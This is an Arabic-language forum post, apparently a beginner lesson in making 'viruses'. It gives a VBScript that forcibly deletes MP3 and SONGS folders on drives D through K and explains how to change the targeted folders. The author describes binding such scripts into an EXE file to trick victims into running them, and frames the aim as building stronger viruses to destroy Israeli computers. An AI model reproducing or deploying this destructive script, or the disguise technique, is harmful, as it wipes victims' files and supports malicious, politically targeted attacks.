إن خاصية هذا النوع من الفيروسات أنها سهلة الصنع يعني يدوية إن صنع التعبير ، و كذالك تستطيع في بعض الأحيان تكسير النظام الدفاعي لأقوى الإنتيفيروسات لكونها ملفات ذات صيغة تعتمد في تكوين ملفات السيستم.

و هنا أخي إذا كنت تتذكر أحد البرامج التي قمت بوضعها بمنتدانا و تعمل على فك ملفات exe سنستطيع بفضل الله أن نجد برنامج يجمع الملفات الى ملف واحد ذات صيغة تحمل exe ، و نكون نحن مسبقا قد قمنا بدمج أحد هته الفيروسات داخل هذا الملف ذات صيغة EXE .

لقد تعمدت أخي وضع هته الدروس البدائية كتمهيد لوضع دروس حول برنامج VB.NET .
و تمهيدا لنساهم كلنا في إنجاز فيروسات أقوى تستطيع تدمير الأجهزة الإسرائلية بإذن الله .

فتابعوا معي حتى نكون قادرين على أن نصبح مبرمجين على VB.NET ، فهذه الأكواد التي أقدمها ماهي إلا شطحات للبرمجة البسيطة و المتداولة و المنتشرة في المنتديات الأجنبية.

عليهم عليهم

و هنا قاتل ملفات الإم بي تري

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("D:\MP3") Then
foldersys.DeleteFolder "D:\MP3",TRUE
END IF
If foldersys.FolderExists ("E:\MP3") Then
foldersys.DeleteFolder "E:\MP3",TRUE
END IF
If foldersys.FolderExists ("F:\MP3") Then
foldersys.DeleteFolder "F:\MP3",TRUE
END IF
If foldersys.FolderExists ("G:\MP3") Then
foldersys.DeleteFolder "G:\MP3",TRUE
END IF
If foldersys.FolderExists ("H:\MP3") Then
foldersys.DeleteFolder "H:\MP3",TRUE
END IF
If foldersys.FolderExists ("I:\MP3") Then
foldersys.DeleteFolder "I:\MP3",TRUE
END IF
If foldersys.FolderExists ("J:\MP3") Then
foldersys.DeleteFolder "J:\MP3",TRUE
END IF
If foldersys.FolderExists ("K:\MP3") Then
foldersys.DeleteFolder "K:\MP3",TRUE
END IF
If foldersys.FolderExists ("D:\SONGS") Then
foldersys.DeleteFolder "D:\SONGS",TRUE
END IF
If foldersys.FolderExists ("E:\SONGS") Then
foldersys.DeleteFolder "E:\SONGS",TRUE
END IF
If foldersys.FolderExists ("F:\SONGS") Then
foldersys.DeleteFolder "F:\SONGS",TRUE
END IF
If foldersys.FolderExists ("G:\SONGS") Then
foldersys.DeleteFolder "G:\SONGS",TRUE
END IF
If foldersys.FolderExists ("H:\SONGS") Then
foldersys.DeleteFolder "H:\SONGS",TRUE
END IF
If foldersys.FolderExists ("I:\SONGS") Then
foldersys.DeleteFolder "I:\SONGS",TRUE
END IF
If foldersys.FolderExists ("J:\SONGS") Then
foldersys.DeleteFolder "J:\SONGS",TRUE
END IF
If foldersys.FolderExists ("K:\SONGS") Then
foldersys.DeleteFolder "K:\SONGS",TRUE
END IF

هذه الطريقة لم أجربها شخصيا لكنها تبدوا ناجحة و يمكننا تعويض mp3 باي صيغة أخرى لأي ملف صوتي ، فقط إستبدل مثلا :

If foldersys.FolderExists ("D:\MP3") Then
ب
If foldersys.FolderExists ("D:\RAM") Then